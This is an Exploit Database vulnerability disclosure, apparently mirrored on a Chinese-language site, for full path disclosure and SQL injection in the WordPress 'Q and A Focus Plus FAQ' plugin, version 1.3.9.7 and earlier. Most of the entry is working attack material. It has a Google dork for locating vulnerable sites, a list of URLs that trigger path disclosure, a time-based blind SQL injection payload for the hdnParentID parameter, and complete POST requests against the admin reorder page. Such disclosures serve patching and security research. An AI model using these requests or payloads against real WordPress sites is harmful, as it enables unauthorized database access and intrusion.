WordPress Plugin Q and A (Focus Plus) FAQ 1.3.9.7 – Multiple Vulnerabilities

• Exploit Database
• 10 阅读

• 作者： Gwendal Le Coguic
  日期： 2016-05-12
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/39806/

• # Exploit Title: WordPress Q and A (Focus Plus) FAQ Full Path Disclosure and SQL Injection
  # Google Dork: inurl:"wp-content/plugins/q-and-a"
  # Date: 12-05-2016
  # Software Link: https://wordpress.org/plugins/q-and-a-focus-plus-faq/
  # Version: 1.3.9.7 and prior
  # Exploit Author: Gwendal Le Coguic
  # Website: http://10degres.net
  # Category: webapps
  
  
  Create a powerful and easy to use FAQ & knowledge base on your WordPress site.
  A powerful and easy to use full-featured FAQ with comments, tags and ratings for your WordPress site.
  
  The plugin was originally named "Q and A FAQ" and developped by Raygun company 
  then it has been involved and renamed to "Q and A Focus Plus FAQ" by Lanexatek Creations.
  
  
  ##### Full Path Disclosure #####
  
  http://[target]/wp-content/plugins/q-and-a-focus-plus-faq/q-and-a-focus-plus.php
  http://[target]/wp-content/plugins/q-and-a-focus-plus-faq/admin/q-a-focus-plus-admin.php
  http://[target]/wp-content/plugins/q-and-a-focus-plus-faq/admin/documentation.php
  http://[target]/wp-content/plugins/q-and-a-focus-plus-faq/inc/custom-post.php
  http://[target]/wp-content/plugins/q-and-a-focus-plus-faq/inc/functions.php
  http://[target]/wp-content/plugins/q-and-a-focus-plus-faq/inc/ratings.php
  http://[target]/wp-content/plugins/q-and-a-focus-plus-faq/inc/reorder.php
  http://[target]/wp-content/plugins/q-and-a-focus-plus-faq/inc/shortcodes.php
  http://[target]/wp-content/plugins/q-and-a-focus-plus-faq/inc/upgrader.php
  http://[target]/wp-content/plugins/q-and-a-focus-plus-faq/inc/widgets.php
  
  
  ##### SQL Injection #####
  
  Those vulnerabilities are mitigated by the fact that you have to be connected as an admin to exploit them.
  
  Paramater hdnParentID is vulnerable in two places.
  Payload: 0 AND (SELECT * FROM (SELECT(SLEEP(5)))zeCb)
  
  1/ line 46: $parentsParent = $wpdb->get_row("SELECT post_parent FROM $wpdb->posts WHERE ID = " . $_POST['hdnParentID']...
  
  POST /wp-admin/edit.php?post_type=qa_faqs&page=faqpageorder HTTP/1.1
  Host: [target]
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Connection: keep-alive
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 165
  
  btnOrderPages=Click+to+Reorder+FAQs&hdnfaqpageorder=id_8%2Cid_6%2Cid_5&btnReturnParent=Return+to+parent+page&hdnParentID=0
  
  
  2/ line 254: $wpdb->get_results("SELECT * FROM $wpdb->posts WHERE post_parent = $parentID and ...
  
  POST /wp-admin/edit.php?post_type=qa_faqs&page=faqpageorder HTTP/1.1
  Host: [target]
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  Accept-Language: en-US,en;q=0.5
  Accept-Encoding: gzip, deflate
  Connection: keep-alive
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 84
  
  btnOrderPages=Click+to+Reorder+FAQs&hdnfaqpageorder=id_8%2Cid_6%2Cid_5&hdnParentID=0
  
  
  ##### References #####
  
  https://www.owasp.org/index.php/Full_Path_Disclosure
  https://www.owasp.org/index.php/SQL_Injection